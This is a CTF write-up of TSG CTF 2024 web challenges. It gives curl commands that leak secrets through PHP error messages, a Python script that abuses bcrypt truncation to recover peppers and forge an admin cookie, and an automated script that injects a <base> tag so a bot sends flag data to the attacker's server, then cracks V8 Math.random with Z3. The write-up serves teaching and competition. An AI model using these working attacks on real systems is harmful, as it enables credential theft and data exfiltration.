Write-up for all TSG CTF 2024 Web challenges (solved by me and blue-lotus team members).
Toolong Tea (143 solves)
Solved independently by @gml-sec, @Eki, and me.
{ "num": [65536, 1, 1] }
I Have Been Pwned (24 solves)
Solved collaboratively by @Eki, @wdeilim, @gml-sec, and me.
PHP debug message leak
Leak first 15 characters of pepper1
:
$ curl http://34.84.32.212:8080/ -d 'auth=guest&password=%00'
<br />
<b>Fatal error</b>: Uncaught ValueError: Bcrypt password must not contain null character in /var/www/html/index.php:21
Stack trace:
#0 /var/www/html/index.php(21): password_hash('PmVG7xe9ECBSgLU...', '2y')
#1 {main}
thrown in <b>/var/www/html/index.php</b> on line <b>21</b><br />
Leak admin_
:
$ curl http://34.84.32.212:8080/ -d 'auth=admin&password[]='
<br />
<b>Fatal error</b>: Uncaught TypeError: hash_equals(): Argument #2 ($user_string) must be of type string, array given in /var/www/html/index.php:13
Stack trace:
#0 /var/www/html/index.php(13): hash_equals('KeTzkrRuESlhd1V', Array)
#1 {main}
thrown in <b>/var/www/html/index.php</b> on line <b>13</b><br />
BCrypt truncating
BCrypt truncates the password to the first 72 characters. So we can truncate pepper2 and get the last character of pepper1 and each character of pepper2 by enumerating each value and verify the password hash.
import requests
from bcrypt import checkpw, hashpw, gensalt
from base64 import b64decode, b64encode
URL = 'http://34.84.32.212:8080'
pepper1 = 'PmVG7xe9ECBSgLU'
admin_password = 'KeTzkrRuESlhd1V'
pepper2 = ''
def hash(password):
res = requests.post(URL, data={'auth': 'guest', 'password': password}, allow_redirects=False)
b64 = res.cookies.get('hash')
assert b64 is not None
return b64decode(b64)
h = hash('a' * 100)
for i in range(256):
pw = (pepper1 + chr(i) + 'guest').ljust(72, 'a')
if checkpw(pw.encode(), h):
pepper1 += chr(i)
break
print(pepper1)
for i in range(16):
password = 'a' * (50 - i)
h = hash(password)
for j in range(256):
pw = pepper1 + 'guest' + password + pepper2 + chr(j)
if checkpw(pw.encode(), h):
pepper2 += chr(j)
print(pepper2)
break
h = hashpw((pepper1 + 'admin' + admin_password + pepper2).encode(), gensalt())
h = b64encode(h).decode()
res = requests.get(f'{URL}/mypage.php', cookies={'auth': 'admin', 'hash': h})
print(res.text)
Cipher Preset Button (19 solves)
Solved by me and @NanoApe.
<base>
redirecting
meta
and link
are not allowed in titleElem
, but <base>
is not banned in either HTML sanitizer or CSP, so we can change the base URI to redirect the request to /result
to our server. Then we can use a 25-character prefix to get the first 25 characters of the flag.
Crack Math.random
Using an empty prefix, we can get the first 25 Math
and we need to predict the next 23.
There is https
@@ -17,7 +17,7 @@ def xs128p(state0, state1):
s1 ^= (s0 >> 26) & 0xFFFFFFFFFFFFFFFF
state0 = state1 & 0xFFFFFFFFFFFFFFFF
state1 = s1 & 0xFFFFFFFFFFFFFFFF
- generated = state0 & 0xFFFFFFFFFFFFFFFF
+ generated = (state0 + state1) & 0xFFFFFFFFFFFFFFFF
def sym_floor_random(slvr, sym_state0, sym_state1, generated, multiple):
sym_state0, sym_state1 = sym_xs128p(sym_state0, sym_state1)
calc = (sym_state0 + sym_state1) & BitVecVal((1 << 53) - 1, 64)
coef = (1 << 53) / multiple
lower = int(generated * coef)
upper = int((generated + 1) * coef)
slvr.add(ULE(BitVecVal(lower, 64), calc))
slvr.add(ULE(calc, BitVecVal(upper, 64)))
return sym_state0, sym_state1
def to_double(value):
return (value & ((1 << 53) - 1)) / (1 << 53)
Automatic solve script
I refined the script after the contest to make it fully automatic. (I don’t know why I did this, maybe just to save some explanations on how to run it :)
Z3 solving needs a few CPU hours, so be patient.
It needs public IPv4 access. Use services like requestrepo.com or app.interactsh.com otherwise.
# Receive requests
from flask import Flask, request, make_response
from threading import Thread
URL = "http://104.198.119.144:7891"
PORT = 1337
MAX_PREFIX_LEN = 25
FLAG_LEN = 48
flag = ""
app = Flask(__name__)
@app.route("/result", methods=["OPTIONS"])
def cors():
response = make_response()
response.headers["Access-Control-Allow-Origin"] = "*"
response.headers["Access-Control-Allow-Headers"] = "Content-Type"
return response
@app.post("/result")
def post_result():
global flag
assert request.json
prefix = request.json["prefix"]
result = request.json["result"]
if flag == "":
for i in range(MAX_PREFIX_LEN):
flag += chr(ord(prefix[i]) ^ int(result[i * 4 : i * 4 + 4], 16))
print(flag)
else:
points = []
for i in range(MAX_PREFIX_LEN):
points.append(ord(flag[i]) ^ int(result[i * 4 : i * 4 + 4], 16))
print("Start solving")
seeds = solve(points, 65536)
points = gen(seeds, 65536, FLAG_LEN)
for i in range(MAX_PREFIX_LEN, FLAG_LEN):
flag += chr(points[i] ^ int(result[i * 4 : i * 4 + 4], 16))
print(flag)
quit()
return "ok"
Thread(target=lambda: app.run(host="0.0.0.0", port=PORT)).start()
# Send requests
import requests
from time import sleep
requests.packages.urllib3.util.connection.HAS_IPV6 = False
ip = requests.get("https://ifconfig.me").text
name = f'</title><base href="http://{ip}:{PORT}"/><title>'
def report(prefix):
res = requests.post(f"{URL}/preset", json={"name": name, "prefix": prefix})
id = res.json()["id"]
res = requests.post(f"{URL}/report", json={"path": f"/presets/{id}"})
print(res.text)
report("A" * MAX_PREFIX_LEN)
sleep(5)
report("")
# Crack Math.random
# https://github.com/d0nutptr/v8_rand_buster
from os import cpu_count
from z3 import *
MAX_UNUSED_THREADS = 2
def xs128p(state0, state1):
s1 = state0 & 0xFFFFFFFFFFFFFFFF
s0 = state1 & 0xFFFFFFFFFFFFFFFF
s1 ^= (s1 << 23) & 0xFFFFFFFFFFFFFFFF
s1 ^= (s1 >> 17) & 0xFFFFFFFFFFFFFFFF
s1 ^= s0 & 0xFFFFFFFFFFFFFFFF
s1 ^= (s0 >> 26) & 0xFFFFFFFFFFFFFFFF
state0 = state1 & 0xFFFFFFFFFFFFFFFF
state1 = s1 & 0xFFFFFFFFFFFFFFFF
generated = (state0 + state1) & 0xFFFFFFFFFFFFFFFF
return state0, state1, generated
def sym_xs128p(sym_state0, sym_state1):
s1 = sym_state0
s0 = sym_state1
s1 ^= s1 << 23
s1 ^= LShR(s1, 17)
s1 ^= s0
s1 ^= LShR(s0, 26)
sym_state0 = sym_state1
sym_state1 = s1
return sym_state0, sym_state1
def sym_floor_random(slvr, sym_state0, sym_state1, generated, multiple):
sym_state0, sym_state1 = sym_xs128p(sym_state0, sym_state1)
calc = (sym_state0 + sym_state1) & BitVecVal((1 << 53) - 1, 64)
coef = (1 << 53) / multiple
lower = int(generated * coef)
upper = int((generated + 1) * coef)
slvr.add(ULE(BitVecVal(lower, 64), calc))
slvr.add(ULE(calc, BitVecVal(upper, 64)))
return sym_state0, sym_state1
def solve(points, multiple):
ostate0, ostate1 = BitVecs("ostate0 ostate1", 64)
sym_state0 = ostate0
sym_state1 = ostate1
set_option("parallel.enable", True)
set_option("parallel.threads.max", max(cpu_count() - MAX_UNUSED_THREADS, 1))
slvr = SolverFor("QF_BV")
for point in points:
sym_state0, sym_state1 = sym_floor_random(
slvr, sym_state0, sym_state1, point, multiple
)
assert slvr.check() == sat
m = slvr.model()
state0 = m[ostate0].as_long()
state1 = m[ostate1].as_long()
return state0, state1
def to_double(value):
return (value & ((1 << 53) - 1)) / (1 << 53)
def gen(seeds, multiple, count):
state0, state1 = seeds
points = []
for _ in range(count):
state0, state1, output = xs128p(state0, state1)
points.append(math.floor(multiple * to_double(output)))
return points